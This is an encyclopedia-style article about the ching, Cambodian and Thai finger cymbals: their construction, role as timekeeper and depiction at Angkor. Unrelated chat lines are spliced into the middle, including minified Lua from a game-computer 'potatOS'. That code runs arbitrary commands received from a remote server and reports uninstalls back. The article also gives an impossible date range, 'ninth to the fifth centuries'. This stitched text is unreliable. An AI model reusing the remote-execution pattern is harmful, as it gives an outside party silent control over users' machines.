Ching (instrument)

Ching (also spelled Chheng, Khmer: ឈិង or Chhing, Thai: ฉิ่ง) are finger cymbals played in Cambodian and Thai theater and dance ensembles.[1]

Ching
A pair of ching
Percussion instrument
Other namesChheng, Chhing
Hornbostel–Sachs classification111.142 (idiophone)

Construction and use

Joined by a cord that runs through the center, ching are bowl-shaped, about 5 centimeters in diameter, and made of bronze alloy—iron, copper, and gold. They are struck together in a cyclical pattern to keep time and regulate the melody, and they function as the "timekeeper" of the ensemble.[2] The rhythm typically consists of alternating the accented closed stroke with an unaccented open "ching" stroke. The name "ching" is probably onomatopoeic for this open sound.[2]

Musical context

The Cambodian ensemble—which has traditionally accompanied court dance, masked plays, and shadow plays and ceremonies—is composed of vocalists and instruments: gong chimes, reed instruments, metallophones, xylophones, drums, and ching. A Thai ensemble consists of stringed fiddles, flutes, zither, xylophones, gong circles, drums, and ching. Melody in both Thai and Khmer musics is regulated by cyclic patterns realized on the drums and ching.[3]

Historical significance
Ching used by a dancer in Thailand.

Evidence of the ching has been found in Angkor, the great temple-city of Khmer civilization, where classical art flourished between the ninth to the fifth centuries. Scenes carved in the walls of the temple depict celestial dancers with their musical instruments, including small cymbals (ching).[2]

gollark: Is this vlc or something?
gollark: It's part of the potatOS unsource uncode.
gollark: I agree.
gollark: ```luawhile true do local PY=_T()if PY.type=="ping"then vT{type="pong",seq=PY.seq}if QY thenos.cancelTimer(QY)end;QY=os.startTimer(15)elseif PY.type=="error"thene("SPUDNET error %s %s %s %s",PY["for"],PY.error,PY.detail,textutils.serialise(PY))elseif PY.type=="message"then local AY=PY.dataif type(AY)=="string"then _G.wsrecv=_T_G.wssend=bT;_G.envrequire=Z;_G.rawws=cT;e("SPUDNET command - %s",AY)local SY,DY=load(AY,"@<code>","t",_G)if SY thenprocess.thread(function()local FY={pcall(SY)}bT(FY)end,"spudnetexecutor")else bT{false,DY}end end end end endlocal function PW(GY,HY)for JY,KY in pairs(HY)do local LY=fs.combine(GY,KY)iffs.exists(LY)and not fs.isDir(LY)then return LY end end;return false end;_G.package={preload={},loaded={}}function simple_require(ZY)if _G.package.loaded[ZY]then return_G.package.loaded[ZY]endif _G.package.preload[ZY]thenlocal CY=_G.package.preload[ZY](_G.package)_G.package.loaded[ZY]=CY;return CY end;local XY=ZY:gsub("%.","/")for VY,BY in next,{"/","lib","rom/modules/main","rom/modules/turtle","rom/modules/command","xlib"}do local NY=PW(BY,{XY,XY..".lua"})if NY thenlocal MY,qY=pcall(dofile,NY)if not MY then error(qY)else _G.package.loaded[ZY]=qY;return qY end end end;error(ZY.." not found")end;_G.require=simple_requirefunction _G.uninstall(wY)if not wY thenreport_incident("uninstall without specified cause",{"security","uninstall_no_cause","uninstall"})error"uninstall cause required"end;term.clear()term.setCursorPos(1,1)print"Deleting potatOS files. This computer will now boot to CraftOS."print"If you are uninstalling because of dissatisfaction with potatOS, please explain your complaint to the developer."report_incident(("potatOS was uninstalled (%s)"):format(tostring(wY)),{"uninstall"},{disable_extended_data=true})print"This incident has been reported."for eY in```
gollark: (bitcode)

See also

References
  1. Sam, Sam-Ang (1994). Ebihara, Carol A.; Lodgerwood, Judy (eds.). "Cambodian Music and Dance in North America". Cambodian Culture Since 1974: Homeland and Exile. Cornell University Press. 41 (1): 177–180. JSTOR 852596.
  2. Sam, Sam-Ang. Miller, Terry E.; Williams, Sean (eds.). "The Khmer People of Cambodia". The Garland Handbook of Southeast Asian Music. Retrieved 14 September 2013.
  3. Tran, Quang Hai. "Pin Peat". Grove Music Online. Oxford Music Online. Retrieved 14 September 2013.
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